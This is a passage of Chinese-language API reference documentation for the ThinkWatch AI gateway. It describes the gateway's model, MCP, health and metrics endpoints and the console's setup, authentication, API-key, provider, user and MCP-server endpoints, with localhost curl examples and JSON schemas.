`scope` 相同 | +| `limits[].kind` | string | `requests` 或 `tokens`(加权) | +| `limits[].window` | string | 限流的滑动窗口(`1m`、`5m`、`1h`、`5h`、`1d`、`1w`),或预算的日历周期(`daily`、`weekly`、`monthly`) | +| `limits[].window_secs` | integer \| null | 滑动窗口的长度(秒);日历周期为 `null` | +| `limits[].limit` | integer | 限额 | +| `limits[].used` | integer | 已用量,读自拒绝请求所依据的计数器 | +| `limits[].resets_at` | string \| null | 日历周期的结束时间(UTC);滑动窗口为 `null` | +| `expires_at` | string \| null | 密钥的过期时间或轮换宽限期的结束时间,取较早者;两者都没有时为 `null` | + +剩余比例最小的限额排在最前。MCP 网关上的限额不列出。`usage` 从升级到 ThinkWatch 3.5.0 时开始计数。 + +#### 示例 + +```bash +curl http://localhost:3000/v1/usage \ + -H "Authorization: Bearer tw-your-api-key" +``` + +#### 错误响应 + +| 状态码 | 条件 | +| ------ | ------------------------------------------------------------------------- | +| 401 | 密钥缺失或无效,与模型请求相同 | +| 403 | 密钥不能使用 AI 网关,与模型请求相同 | +| 503 | 无法读取密钥的限额或其计数器,与 `security.rate_limit_fail_closed` 的设置无关 | + +--- + +### POST /v1/messages + +Anthropic Messages API 端点。接受原生 Anthropic 格式的请求并代理到已配置的上游提供商。这允许 Claude Code 和 Anthropic SDK 直接连接,无需在客户端进行格式转换。 + +**认证:** API Key 或 JWT + +#### 请求体 + +```json +{ + "model": "claude-sonnet-4-20250514", + "max_tokens": 1024, + "messages": [ + { + "role": "user", + "content": "Hello, Claude" + } + ], + "stream": false, + "system": "You are a helpful assistant.", + "temperature": 0.7 +} +``` + +| 字段 | 类型 | 必填 | 默认值 | 描述 | +| ------------ | --------------- | -------- | ------- | ---------------------------------------- | +| `model` | string | 是 | -- | 模型标识符(如 `claude-sonnet-4-20250514`)| +| `max_tokens` | integer | 是 | -- | 最大生成 Token 数 | +| `messages` | array\ | 是 | -- | 对话历史 | +| `stream` | boolean | 否 | false | 启用 Server-Sent Events 流式传输 | +| `system` | string | 否 | -- | 系统提示词 | +| `temperature`| number | 否 | 1.0 | 采样温度(0.0 - 1.0) | + +#### 响应体(非流式) + +```json +{ + "id": "msg_abc123", + "type": "message", + "role": "assistant", + "content": [ + { + "type": "text", + "text": "Hello! How can I help you today?" + } + ], + "model": "claude-sonnet-4-20250514", + "stop_reason": "end_turn", + "usage": { + "input_tokens": 12, + "output_tokens": 10 + } +} +``` + +#### 响应体(流式,`stream: true`) + +响应为遵循 Anthropic 流式格式的 `text/event-stream` SSE 事件流: + +``` +event: message_start +data: {"type":"message_start","message":{"id":"msg_abc123","type":"message","role":"assistant","content":[],"model":"claude-sonnet-4-20250514"}} + +event: content_block_delta +data: {"type":"content_block_delta","index":0,"delta":{"type":"text_delta","text":"Hello"}} + +event: message_stop +data: {"type":"message_stop"} +``` + +#### 示例 + +```bash +curl -X POST http://localhost:3000/v1/messages \ + -H "Authorization: Bearer tw-your-api-key" \ + -H "Content-Type: application/json" \ + -H "anthropic-version: 2023-06-01" \ + -d '{ + "model": "claude-sonnet-4-20250514", + "max_tokens": 1024, + "messages": [{"role": "user", "content": "Hello"}] + }' +``` + +#### 错误响应 + +| 状态码 | 条件 | +| ------ | -------------------------------- | +| 401 | 缺失/无效凭证 | +| 403 | 该密钥不允许访问此模型 | +| 404 | 模型未找到 | +| 429 | 超出速率限制 | +| 502 | 上游提供商错误 | + +--- + +### POST /v1/responses + +OpenAI Responses API 端点(2025 格式)。接受 OpenAI Responses 格式的请求,支持简单字符串输入和结构化消息数组。 + +**认证:** API Key 或 JWT + +#### 请求体 + +```json +{ + "model": "gpt-4o", + "input": "What is the capital of France?", + "instructions": "You are a helpful geography assistant.", + "stream": false, + "temperature": 0.7, + "max_output_tokens": 4096 +} +``` + +`input` 字段可以是简单字符串或消息对象数组: + +```json +{ + "model": "gpt-4o", + "input": [ + {"role": "user", "content": "Hello"}, + {"role": "assistant", "content": "Hi there!"}, + {"role": "user", "content": "What is 2+2?"} + ] +} +``` + +| 字段 | 类型 | 必填 | 默认值 | 描述 | +| ------------------ | ------------------------- | -------- | ------- | ---------------------------------------- | +| `model` | string | 是 | -- | 模型标识符 | +| `input` | string 或 array\ | 是 | -- | 提示字符串或对话消息 | +| `instructions` | string | 否 | -- | 系统级指令 | +| `stream` | boolean | 否 | false | 启用 Server-Sent Events 流式传输 | +| `temperature` | number | 否 | 0.7 | 采样温度 | +| `max_output_tokens`| integer | 否 | -- | 最大生成 Token 数 | + +#### 响应体(非流式) + +```json +{ + "id": "resp_abc123", + "object": "response", + "created_at": 1711929600, + "model": "gpt-4o", + "output": [ + { + "type": "message", + "role": "assistant", + "content": [ + { + "type": "output_text", + "text": "The capital of France is Paris." + } + ] + } + ], + "usage": { + "input_tokens": 15, + "output_tokens": 8, + "total_tokens": 23 + } +} +``` + +#### 示例 + +```bash +curl -X POST http://localhost:3000/v1/responses \ + -H "Authorization: Bearer tw-your-api-key" \ + -H "Content-Type: application/json" \ + -d '{ + "model": "gpt-4o", + "input": "What is the capital of France?" + }' +``` + +#### 错误响应 + +| 状态码 | 条件 | +| ------ | -------------------------------- | +| 401 | 缺失/无效凭证 | +| 403 | 该密钥不允许访问此模型 | +| 404 | 模型未找到 | +| 429 | 超出速率限制 | +| 502 | 上游提供商错误 | + +--- + +### POST /mcp + +MCP(Model Context Protocol)Streamable HTTP 传输端点。接受 JSON-RPC 2.0 请求并路由到已注册的 MCP 服务器。 + +**认证:** API Key 或 JWT + +#### 请求体 + +标准 JSON-RPC 2.0 封装: + +```json +{ + "jsonrpc": "2.0", + "id": 1, + "method": "tools/call", + "params": { + "name": "tool_name", + "arguments": {} + } +} +``` + +常用方法: + +| 方法 | 描述 | +| ------------------- | ---------------------------------- | +| `initialize` | 初始化会话,协商能力 | +| `tools/list` | 列出可用的 MCP 工具 | +| `tools/call` | 调用工具 | +| `resources/list` | 列出可用资源 | +| `resources/read` | 读取资源 | +| `prompts/list` | 列出可用提示词 | + +#### 响应头 + +| 请求头 | 描述 | +| ---------------- | --------------------------------------------- | +| `Mcp-Session-Id` | 会话标识符(在 `initialize` 时返回) | + +#### 响应体 + +```json +{ + "jsonrpc": "2.0", + "id": 1, + "result": { + "content": [ + { + "type": "text", + "text": "Tool output here" + } + ] + } +} +``` + +#### 示例 + +```bash +# Initialize session +curl -X POST http://localhost:3000/mcp \ + -H "Authorization: Bearer tw-your-api-key" \ + -H "Content-Type: application/json" \ + -d '{ + "jsonrpc": "2.0", + "id": 1, + "method": "initialize", + "params": { + "protocolVersion": "2025-03-26", + "capabilities": {}, + "clientInfo": {"name": "my-client", "version": "1.0.0"} + } + }' + +# Call a tool (include session ID from initialize response) +curl -X POST http://localhost:3000/mcp \ + -H "Authorization: Bearer tw-your-api-key" \ + -H "Content-Type: application/json" \ + -H "Mcp-Session-Id: session-uuid-here" \ + -d '{ + "jsonrpc": "2.0", + "id": 2, + "method": "tools/call", + "params": {"name": "search_docs", "arguments": {"query": "setup guide"}} + }' +``` + +#### 错误响应 + +| 状态码 | 条件 | +| ------ | ---------------------------------------- | +| 401 | 无效凭证 | +| 400 | JSON-RPC 请求格式错误 | +| 404 | 未找到 MCP 会话(无效会话) | +| 502 | 上游 MCP 服务器不可达 | + +--- + +### DELETE /mcp + +关闭 MCP 会话并释放相关资源。 + +**认证:** API Key 或 JWT + +#### 请求头 + +| 请求头 | 必填 | 描述 | +| ---------------- | -------- | -------------------- | +| `Mcp-Session-Id` | 是 | 要终止的会话 | + +#### 响应 + +``` +HTTP/1.1 204 No Content +``` + +#### 示例 + +```bash +curl -X DELETE http://localhost:3000/mcp \ + -H "Authorization: Bearer tw-your-api-key" \ + -H "Mcp-Session-Id: session-uuid-here" +``` + +#### 错误响应 + +| 状态码 | 条件 | +| ------ | ---------------------------- | +| 401 | 无效凭证 | +| 404 | 会话未找到或已过期 | + +--- + +### GET /health + +基本网关健康检查。 + +**认证:** 公开 + +#### 响应体 + +```json +{ + "status": "ok" +} +``` + +#### 示例 + +```bash +curl http://localhost:3000/health +``` + +--- + +### GET /health/live + +存活探针。如果服务器进程正在运行,返回 200。 + +**认证:** 公开 + +#### 响应体 + +```json +{ + "status": "alive" +} +``` + +#### 示例 + +```bash +curl http://localhost:3000/health/live +``` + +--- + +### GET /health/ready + +就绪探针。如果所有关键依赖(PostgreSQL、Redis)可达,返回 200。如果任何关键依赖不可用,返回 503。 + +**认证:** 公开 + +#### 响应体(健康) + +```json +{ + "status": "ready" +} +``` + +#### 响应体(不健康) + +```json +{ + "status": "not_ready", + "reason": "redis unreachable" +} +``` + +#### 示例 + +```bash +curl http://localhost:3000/health/ready +``` + +| 状态码 | 条件 | +| ------ | --------------------------------------- | +| 200 | 所有关键依赖健康 | +| 503 | PostgreSQL 或 Redis 不可达 | + +--- + +### GET /metrics + +Prometheus 兼容的指标端点。暴露请求延迟直方图、Token 吞吐量计数器、活跃连接数仪表和错误率计数器。 + +**认证:** 公开(无需认证) + +**端口:** 3000(网关) + +#### 响应 + +``` +# HELP http_requests_total Total number of HTTP requests +# TYPE http_requests_total counter +http_requests_total{method="POST",endpoint="/v1/chat/completions",status="200"} 1520 + +# HELP http_request_duration_seconds HTTP request latency +# TYPE http_request_duration_seconds histogram +http_request_duration_seconds_bucket{endpoint="/v1/chat/completions",le="0.5"} 300 +... +``` + +#### 示例 + +```bash +curl http://localhost:3000/metrics +``` + +> **注意:** 此端点用于 Prometheus 抓取。在生产环境中请通过网络策略限制访问。 + +--- + +## Console 端点(端口 3001) + +### 初始化设置 + +#### GET /api/setup/status + +检查系统是否已初始化(即是否已创建管理员用户)。 + +**认证:** 公开 + +#### 响应体 + +```json +{ + "initialized": false, + "needs_setup": true +} +``` + +| 字段 | 类型 | 描述 | +| -------------- | ------- | ---------------------------------------- | +| `initialized` | boolean | 如果已创建管理员用户则为 `true` | +| `needs_setup` | boolean | 如果应显示设置向导则为 `true` | + +#### 示例 + +```bash +curl http://localhost:3001/api/setup/status +``` + +--- + +#### POST /api/setup/initialize + +执行系统初始化设置:创建首个管理员用户并可选配置首个 AI 提供商。此端点仅在系统尚未初始化时可用。 + +**认证:** 公开(仅在未初始化时) + +#### 请求体 + +```json +{ + "admin": { + "email": "admin@example.com", + "display_name": "Admin", + "password": "your-secure-password" + }, + "provider": { + "name": "openai-prod", + "display_name": "OpenAI Production", + "provider_type": "openai", + "base_url": "https://api.openai.com/v1", + "api_key": "sk-..." + } +} +``` + +| 字段 | 类型 | 必填 | 描述 | +| ------------------------ | ------ | -------- | ----------------------------------------------- | +| `admin.email` | string | 是 | 管理员邮箱地址 | +| `admin.display_name` | string | 是 | 管理员显示名称 | +| `admin.password` | string | 是 | 管理员密码(最少 8 个字符) | +| `provider` | object | 否 | 可选的首个提供商配置 | +| `provider.name` | string | 是* | 唯一标识符(* 如设置 provider 则必填) | +| `provider.display_name` | string | 是* | 人类可读的名称 | +| `provider.provider_type` | string | 是* | `openai`、`anthropic`、`google`、`azure`、`bedrock`、`custom` 之一 | +| `provider.base_url` | string | 是* | 提供商 API 基础 URL | +| `provider.api_key` | string | 是* | 提供商 API 密钥 | + +#### 响应体 + +```json +{ + "access_token": "eyJhbGciOi...", + "refresh_token": "eyJhbGciOi...", + "token_type": "Bearer", + "expires_in": 900, + "user": { + "id": "uuid", + "email": "admin@example.com", + "display_name": "Admin", + "role": "admin" + } +} +``` + +#### 示例 + +```bash +curl -X POST http://localhost:3001/api/setup/initialize \ + -H "Content-Type: application/json" \ + -d '{ + "admin": { + "email": "admin@example.com", + "display_name": "Admin", + "password": "your-secure-password" + } + }' +``` + +#### 错误响应 + +| 状态码 | 条件 | +| ------ | ---------------------------------------- | +| 400 | 系统已初始化 | +| 422 | 验证错误(弱密码、无效邮箱) | +| 429 | 超出速率限制(每分钟 5 次请求) | + +> **安全:** 此端点限制为每分钟 5 次请求,并对数据库执行二次检查以防止竞态条件。 + +--- + +### 认证 + +#### POST /api/auth/login + +使用邮箱和密码进行认证以获取 JWT 令牌。 + +**认证:** 公开 + +#### 请求体 + +```json +{ + "email": "string", + "password": "string" +} +``` + +| 字段 | 类型 | 必填 | 描述 | +| ---------- | ------ | -------- | ------------------ | +| `email` | string | 是 | 用户邮箱地址 | +| `password` | string | 是 | 用户密码 | + +#### 响应体 + +```json +{ + "access_token": "eyJhbGciOi...", + "refresh_token": "eyJhbGciOi...", + "token_type": "Bearer", + "expires_in": 900, + "user": { + "id": "uuid", + "email": "user@example.com", + "display_name": "Jane Doe", + "role": "user" + } +} +``` + +#### 示例 + +```bash +curl -X POST http://localhost:3001/api/auth/login \ + -H "Content-Type: application/json" \ + -d '{"email": "admin@example.com", "password": "secret"}' +``` + +#### 错误响应 + +| 状态码 | 条件 | +| ------ | --------------------------- | +| 401 | 邮箱或密码无效 | +| 422 | 缺少必填字段 | +| 429 | 登录尝试次数过多 | + +--- + +#### POST /api/auth/register + +创建新用户账户。 + +**认证:** 公开 + +#### 请求体 + +```json +{ + "email": "string", + "display_name": "string", + "password": "string" +} +``` + +| 字段 | 类型 | 必填 | 描述 | +| -------------- | ------ | -------- | ---------------------------- | +| `email` | string | 是 | 唯一邮箱地址 | +| `display_name` | string | 是 | 显示名称 | +| `password` | string | 是 | 密码(最少 8 个字符) | + +#### 响应体 + +```json +{ + "id": "uuid", + "email": "user@example.com", + "display_name": "Jane Doe", + "role": "user", + "created_at": "2026-01-15T10:30:00Z" +} +``` + +#### 示例 + +```bash +curl -X POST http://localhost:3001/api/auth/register \ + -H "Content-Type: application/json" \ + -d '{ + "email": "newuser@example.com", + "display_name": "New User", + "password": "strongpassword123" + }' +``` + +#### 错误响应 + +| 状态码 | 条件 | +| ------ | ------------------------------ | +| 409 | 邮箱已注册 | +| 422 | 验证错误(弱密码、无效邮箱) | + +--- + +#### POST /api/auth/refresh + +使用刷新令牌换取新的访问令牌/刷新令牌对。 + +**认证:** 公开(需要有效的刷新令牌) + +#### 请求体 + +```json +{ + "refresh_token": "string" +} +``` + +#### 响应体 + +```json +{ + "access_token": "eyJhbGciOi...", + "refresh_token": "eyJhbGciOi...", + "token_type": "Bearer", + "expires_in": 900 +} +``` + +#### 示例 + +```bash +curl -X POST http://localhost:3001/api/auth/refresh \ + -H "Content-Type: application/json" \ + -d '{"refresh_token": "eyJhbGciOi..."}' +``` + +#### 错误响应 + +| 状态码 | 条件 | +| ------ | ---------------------------------- | +| 401 | 刷新令牌无效或已过期 | + +--- + +#### GET /api/auth/sso/authorize + +启动 OIDC 授权码流程。将用户浏览器重定向到已配置的身份提供商。 + +**认证:** 公开 + +#### 查询参数 + +无。服务器生成随机的 `state` 和 `nonce`,将它们存储在 Redis 中,并构建 OIDC 授权 URL。 + +#### 响应 + +``` +HTTP/1.1 302 Found +Location: https://idp.example.com/authorize?client_id=...&redirect_uri=...&state=...&nonce=...&scope=openid+email+profile&response_type=code +``` + +#### 示例 + +```bash +# Typically opened in a browser, not curl +curl -v http://localhost:3001/api/auth/sso/authorize +``` + +--- + +#### GET /api/auth/sso/callback + +OIDC 回调端点。身份提供商在用户认证后重定向到此处。 + +**认证:** 公开 + +#### 查询参数 + +| 参数 | 类型 | 必填 | 描述 | +| --------- | ------ | -------- | ------------------------------------ | +| `code` | string | 是 | 提供商返回的授权码 | +| `state` | string | 是 | CSRF 状态参数 | + +#### 响应体 + +```json +{ + "access_token": "eyJhbGciOi...", + "refresh_token": "eyJhbGciOi...", + "token_type": "Bearer", + "expires_in": 900, + "user": { + "id": "uuid", + "email": "sso-user@corp.com", + "display_name": "SSO User", + "role": "user" + } +} +``` + +#### 错误响应 + +| 状态码 | 条件 | +| ------ | -------------------------------------- | +| 400 | 缺少 code 或 state | +| 401 | state 无效(CSRF 检查失败) | +| 401 | 与身份提供商的令牌交换失败 | +| 500 | OIDC 未配置 | + +--- + +#### GET /api/auth/me + +返回当前已认证用户的个人资料。 + +**认证:** JWT + +#### 响应体 + +```json +{ + "id": "uuid", + "email": "user@example.com", + "display_name": "Jane Doe", + "role": "user", + "created_at": "2026-01-15T10:30:00Z", + "updated_at": "2026-03-20T14:00:00Z" +} +``` + +#### 示例 + +```bash +curl http://localhost:3001/api/auth/me \ + -H "Authorization: Bearer eyJhbGciOi..." +``` + +#### 错误响应 + +| 状态码 | 条件 | +| ------ | ---------------------- | +| 401 | JWT 缺失或无效 | + +--- + +### API 密钥 + +API 密钥自己的限流与预算在控制台中密钥编辑对话框的「限额」标签页里编辑:按请求数或加权 token 计的限流(窗口为 1m、5m、1h、5h、1d 或 1w),以及按日、周或月计的加权 token 预算,各自显示已用量。它们叠加在所属用户的限额之上,单独计数,并在密钥轮换后保留。该标签页通过 `/api/admin/limits/api_key/{id}/rules`、`/api/admin/limits/api_key/{id}/budgets` 和 `/api/admin/limits/api_key/{id}/usage` 读取和修改限额。读取需要 `rate_limits:read`,修改需要 `rate_limits:write`,且权限范围须覆盖这把密钥;没有修改权限时标签页只读,没有读取权限时对话框中不显示「限额」标签页。 + +#### GET /api/keys + +列出当前认证用户的所有 API 密钥。 + +**认证:** JWT + +#### 响应体 + +```json +[ + { + "id": "uuid", + "name": "Production Key", + "prefix": "tw-prod", + "allowed_models": ["gpt-4o", "claude-sonnet-4-20250514"], + "rate_limit_rpm": 60, + "expires_at": "2026-06-01T00:00:00Z", + "created_at": "2026-01-15T10:30:00Z", + "last_used_at": "2026-03-28T09:15:00Z" + } +] +``` + +> **注意:** 创建后不会再返回完整密钥值。仅显示 `prefix` 用于标识。 + +#### 示例 + +```bash +curl http://localhost:3001/api/keys \ + -H "Authorization: Bearer eyJhbGciOi..." +``` + +--- + +#### POST /api/keys + +创建新的 API 密钥。 + +**认证:** JWT + +#### 请求体 + +```json +{ + "name": "string", + "allowed_models": ["string"], + "rate_limit_rpm": 60, + "expires_in_days": 90 +} +``` + +| 字段 | 类型 | 必填 | 默认值 | 描述 | +| ----------------- | --------------- | -------- | --------- | -------------------------------------------- | +| `name` | string | 是 | — | 人类可读的名称 | +| `allowed_models` | array\ | 否 | 全部 | 限制密钥可访问的特定模型 | +| `rate_limit_rpm` | integer | 否 | 无限制 | 每分钟请求数限制 | +| `expires_in_days` | integer | 否 | 不过期 | 密钥过期前的天数 | + +#### 响应体 + +```json +{ + "id": "uuid", + "name": "Production Key", + "key": "tw-sk-a1b2c3d4e5f6...", + "allowed_models": ["gpt-4o"], + "rate_limit_rpm": 60, + "expires_at": "2026-06-01T00:00:00Z", + "created_at": "2026-03-28T10:00:00Z" +} +``` + +> **重要:** `key` 字段仅在创建时返回一次。请妥善保存。 + +#### 示例 + +```bash +curl -X POST http://localhost:3001/api/keys \ + -H "Authorization: Bearer eyJhbGciOi..." \ + -H "Content-Type: application/json" \ + -d '{ + "name": "CI/CD Pipeline", + "allowed_models": ["gpt-4o"], + "rate_limit_rpm": 120, + "expires_in_days": 30 + }' +``` + +#### 错误响应 + +| 状态码 | 条件 | +| ------ | ---------------------- | +| 401 | JWT 无效 | +| 422 | 验证错误 | + +--- + +#### GET /api/keys/{id} + +获取特定 API 密钥的详情。 + +**认证:** JWT + +#### 路径参数 + +| 参数 | 类型 | 描述 | +| --------- | ---- | ----------- | +| `id` | UUID | 密钥 ID | + +#### 响应体 + +```json +{ + "id": "uuid", + "name": "Production Key", + "prefix": "tw-prod", + "allowed_models": ["gpt-4o"], + "rate_limit_rpm": 60, + "expires_at": "2026-06-01T00:00:00Z", + "created_at": "2026-01-15T10:30:00Z", + "last_used_at": "2026-03-28T09:15:00Z" +} +``` + +#### 错误响应 + +| 状态码 | 条件 | +| ------ | ------------------------------- | +| 401 | JWT 无效 | +| 404 | 密钥未找到或不属于当前用户 | + +--- + +#### DELETE /api/keys/{id} + +撤销 API 密钥。此操作不可逆。 + +**认证:** JWT + +#### 路径参数 + +| 参数 | 类型 | 描述 | +| --------- | ---- | ----------- | +| `id` | UUID | 密钥 ID | + +#### 响应 + +``` +HTTP/1.1 204 No Content +``` + +#### 示例 + +```bash +curl -X DELETE http://localhost:3001/api/keys/550e8400-e29b-41d4-a716-446655440000 \ + -H "Authorization: Bearer eyJhbGciOi..." +``` + +#### 错误响应 + +| 状态码 | 条件 | +| ------ | ---------------------------------- | +| 401 | JWT 无效 | +| 404 | 密钥未找到或不属于当前用户 | + +--- + +#### PATCH /api/keys/{id} + +更新现有 API 密钥的设置。 + +**认证:** JWT + +#### 路径参数 + +| 参数 | 类型 | 描述 | +| --------- | ---- | ----------- | +| `id` | UUID | 密钥 ID | + +#### 请求体 + +```json +{ + "allowed_models": ["gpt-4o", "claude-sonnet-4-20250514"], + "rate_limit_rpm": 120, + "expires_in_days": 60, + "rotation_interval_days": 90, + "inactivity_timeout_days": 30 +} +``` + +| 字段 | 类型 | 必填 | 描述 | +| ------------------------- | --------------- | -------- | ------------------------------------------- | +| `allowed_models` | array\ | 否 | 更新允许的模型列表 | +| `rate_limit_rpm` | integer | 否 | 更新每分钟请求数限制 | +| `expires_in_days` | integer | 否 | 设置或更新过期时间(从现在起的天数) | +| `rotation_interval_days` | integer | 否 | 设置自动轮换间隔 | +| `inactivity_timeout_days` | integer | 否 | 不活跃 N 天后自动禁用密钥 | + +#### 响应体 + +```json +{ + "id": "uuid", + "name": "Production Key", + "prefix": "tw-prod", + "allowed_models": ["gpt-4o", "claude-sonnet-4-20250514"], + "rate_limit_rpm": 120, + "expires_at": "2026-08-01T00:00:00Z", + "rotation_interval_days": 90, + "inactivity_timeout_days": 30, + "updated_at": "2026-04-01T10:00:00Z" +} +``` + +#### 示例 + +```bash +curl -X PATCH http://localhost:3001/api/keys/550e8400-e29b-41d4-a716-446655440000 \ + -H "Authorization: Bearer eyJhbGciOi..." \ + -H "Content-Type: application/json" \ + -d '{ + "rate_limit_rpm": 120, + "inactivity_timeout_days": 30 + }' +``` + +#### 错误响应 + +| 状态码 | 条件 | +| ------ | ---------------------------------- | +| 401 | JWT 无效 | +| 404 | 密钥未找到或不属于当前用户 | +| 422 | 验证错误 | + +--- + +#### POST /api/keys/{id}/rotate + +轮换 API 密钥。生成新的密钥值并返回。旧密钥进入宽限期(可配置),在此期间新旧密钥均被接受。 + +**认证:** JWT + +#### 路径参数 + +| 参数 | 类型 | 描述 | +| --------- | ---- | ----------- | +| `id` | UUID | 密钥 ID | + +#### 响应体 + +```json +{ + "id": "uuid", + "name": "Production Key", + "key": "tw-sk-newkey123456...", + "grace_period_ends_at": "2026-04-02T10:00:00Z", + "rotated_at": "2026-04-01T10:00:00Z" +} +``` + +> **重要:** 新的 `key` 值仅返回一次。旧密钥在 `grace_period_ends_at` 之前保持有效。 + +#### 示例 + +```bash +curl -X POST http://localhost:3001/api/keys/550e8400-e29b-41d4-a716-446655440000/rotate \ + -H "Authorization: Bearer eyJhbGciOi..." +``` + +#### 错误响应 + +| 状态码 | 条件 | +| ------ | ---------------------------------- | +| 401 | JWT 无效 | +| 404 | 密钥未找到或不属于当前用户 | + +--- + +#### GET /api/keys/expiring + +列出指定天数内即将过期的 API 密钥。 + +**认证:** JWT + +#### 查询参数 + +| 参数 | 类型 | 必填 | 默认值 | 描述 | +| --------- | ------- | -------- | ------- | -------------------------------- | +| `days` | integer | 否 | 7 | 向前查看的天数 | + +#### 响应体 + +```json +[ + { + "id": "uuid", + "name": "Production Key", + "prefix": "tw-prod", + "expires_at": "2026-04-07T00:00:00Z", + "days_remaining": 5, + "owner_email": "user@example.com" + } +] +``` + +#### 示例 + +```bash +curl "http://localhost:3001/api/keys/expiring?days=14" \ + -H "Authorization: Bearer eyJhbGciOi..." +``` + +#### 错误响应 + +| 状态码 | 条件 | +| ------ | ----------- | +| 401 | JWT 无效 | + +--- + +### 管理员 -- 提供商 + +#### GET /api/admin/providers + +列出所有已配置的 AI 提供商。 + +**认证:** JWT(管理员) + +#### 响应体 + +```json +[ + { + "id": "uuid", + "name": "openai-prod", + "display_name": "OpenAI Production", + "provider_type": "openai", + "base_url": "https://api.openai.com/v1", + "is_active": true, + "created_at": "2026-01-10T08:00:00Z" + } +] +``` + +> **注意:** 响应中不会返回提供商的 `api_key`。 + +#### 示例 + +```bash +curl http://localhost:3001/api/admin/providers \ + -H "Authorization: Bearer eyJhbGciOi..." +``` + +--- + +#### POST /api/admin/providers + +注册新的上游 AI 提供商。 + +**认证:** JWT(管理员) + +#### 请求体 + +```json +{ + "name": "string", + "display_name": "string", + "provider_type": "string", + "base_url": "string", + "api_key": "string" +} +``` + +| 字段 | 类型 | 必填 | 描述 | +| --------------- | ------ | -------- | ---------------------------------------------------- | +| `name` | string | 是 | 唯一标识符(如 `openai-prod`) | +| `display_name` | string | 是 | 人类可读的名称 | +| `provider_type` | string | 是 | `openai`、`anthropic`、`google`、`azure`、`bedrock`、`custom` 之一 | +| `base_url` | string | 是 | 提供商 API 基础 URL | +| `api_key` | string | 是 | 提供商 API 密钥(使用 AES-256-GCM 静态加密存储)| + +#### 响应体 + +```json +{ + "id": "uuid", + "name": "openai-prod", + "display_name": "OpenAI Production", + "provider_type": "openai", + "base_url": "https://api.openai.com/v1", + "is_active": true, + "created_at": "2026-03-28T10:00:00Z" +} +``` + +#### 示例 + +```bash +curl -X POST http://localhost:3001/api/admin/providers \ + -H "Authorization: Bearer eyJhbGciOi..." \ + -H "Content-Type: application/json" \ + -d '{ + "name": "anthropic-prod", + "display_name": "Anthropic Production", + "provider_type": "anthropic", + "base_url": "https://api.anthropic.com", + "api_key": "sk-ant-..." + }' +``` + +#### 错误响应 + +| 状态码 | 条件 | +| ------ | ---------------------------- | +| 401 | JWT 无效 | +| 403 | 用户不是管理员 | +| 409 | 提供商名称已存在 | +| 422 | 验证错误 | + +--- + +#### GET /api/admin/providers/{id} + +获取特定提供商的详情。 + +**认证:** JWT(管理员) + +#### 路径参数 + +| 参数 | 类型 | 描述 | +| --------- | ---- | ------------ | +| `id` | UUID | 提供商 ID | + +#### 响应体 + +与列表响应中的单个项目 Schema 相同。 + +#### 错误响应 + +| 状态码 | 条件 | +| ------ | ------------------ | +| 401 | JWT 无效 | +| 403 | 非管理员 | +| 404 | 提供商未找到 | + +--- + +#### DELETE /api/admin/providers/{id} + +删除提供商。引用其模型的现有密钥将无法再解析。 + +**认证:** JWT(管理员) + +#### 响应 + +``` +HTTP/1.1 204 No Content +``` + +#### 示例 + +```bash +curl -X DELETE http://localhost:3001/api/admin/providers/550e8400-e29b-41d4-a716-446655440000 \ + -H "Authorization: Bearer eyJhbGciOi..." +``` + +#### 错误响应 + +| 状态码 | 条件 | +| ------ | ------------------ | +| 401 | JWT 无效 | +| 403 | 非管理员 | +| 404 | 提供商未找到 | + +--- + +### 管理员 -- 用户 + +#### GET /api/admin/users + +列出系统中的所有用户。 + +**认证:** JWT(管理员) + +#### 响应体 + +```json +[ + { + "id": "uuid", + "email": "admin@example.com", + "display_name": "Admin User", + "role": "admin", + "created_at": "2026-01-01T00:00:00Z", + "updated_at": "2026-03-15T12:00:00Z" + } +] +``` + +#### 示例 + +```bash +curl http://localhost:3001/api/admin/users \ + -H "Authorization: Bearer eyJhbGciOi..." +``` + +--- + +#### POST /api/admin/users + +创建新用户(管理员配置)。 + +**认证:** JWT(管理员) + +#### 请求体 + +```json +{ + "email": "string", + "display_name": "string", + "password": "string", + "role": "string" +} +``` + +| 字段 | 类型 | 必填 | 默认值 | 描述 | +| -------------- | ------ | -------- | -------- | ---------------------------------------------- | +| `email` | string | 是 | — | 唯一邮箱地址 | +| `display_name` | string | 是 | — | 显示名称 | +| `password` | string | 是 | — | 初始密码 | +| `role` | string | 否 | `user` | `admin`、`operator`、`user`、`viewer`、`service` 之一 | + +#### 响应体 + +```json +{ + "id": "uuid", + "email": "newadmin@example.com", + "display_name": "New Admin", + "role": "admin", + "created_at": "2026-03-28T10:00:00Z" +} +``` + +#### 示例 + +```bash +curl -X POST http://localhost:3001/api/admin/users \ + -H "Authorization: Bearer eyJhbGciOi..." \ + -H "Content-Type: application/json" \ + -d '{ + "email": "operator@example.com", + "display_name": "Ops User", + "password": "securepassword", + "role": "operator" + }' +``` + +#### 错误响应 + +| 状态码 | 条件 | +| ------ | ------------------------ | +| 401 | JWT 无效 | +| 403 | 非管理员 | +| 409 | 邮箱已存在 | +| 422 | 验证错误 | + +--- + +### 管理员 -- MCP 服务器 + +#### GET /api/mcp/servers + +列出所有已注册的 MCP 服务器。 + +**认证:** JWT(管理员) + +#### 响应体 + +```json +[ + { + "id": "uuid", + "name": "docs-search", + "description": "Internal documentation search", + "endpoint_url": "https://mcp.internal.corp/docs", + "transport_type": "streamable_http", + "auth_type": "bearer", + "is_active": true, + "tool_count": 3, + "created_at": "2026-02-01T08:00:00Z" + } +] +``` + +#### 示例 + +```bash +curl http://localhost:3001/api/mcp/servers \ + -H "Authorization: Bearer eyJhbGciOi..." +``` + +--- + +#### POST /api/mcp/servers + +注册新的 MCP 服务器。 + +**认证:** JWT(管理员) + +#### 请求体 + +```json +{ + "name": "string", + "description": "string", + "endpoint_url": "string", + "transport_type": "string", + "auth_type": "string", + "auth_secret": "string" +} +``` + +| 字段 | 类型 | 必填 | 默认值 | 描述 | +| ---------------- | ------ | -------- | ------------------ | ----------------------------------------------- | +| `name` | string | 是 | — | 唯一服务器名称 | +| `description` | string | 否 | — | 人类可读的描述 | +| `endpoint_url` | string | 是 | — | MCP 服务器 URL | +| `transport_type` | string | 否 | `streamable_http` | 传输方式:`streamable_http` 或 `sse` | +| `auth_type` | string | 否 | `none` | 认证方式:`none`、`bearer`、`header`、`query` | +| `auth_secret` | string | 否 | — | 认证凭证(静态加密存储) | + +#### 响应体 + +```json +{ + "id": "uuid", + "name": "docs-search", + "description": "Internal documentation search", + "endpoint_url": "https://mcp.internal.corp/docs", + "transport_type": "streamable_http", + "auth_type": "bearer", + "is_active": true, + "created_at": 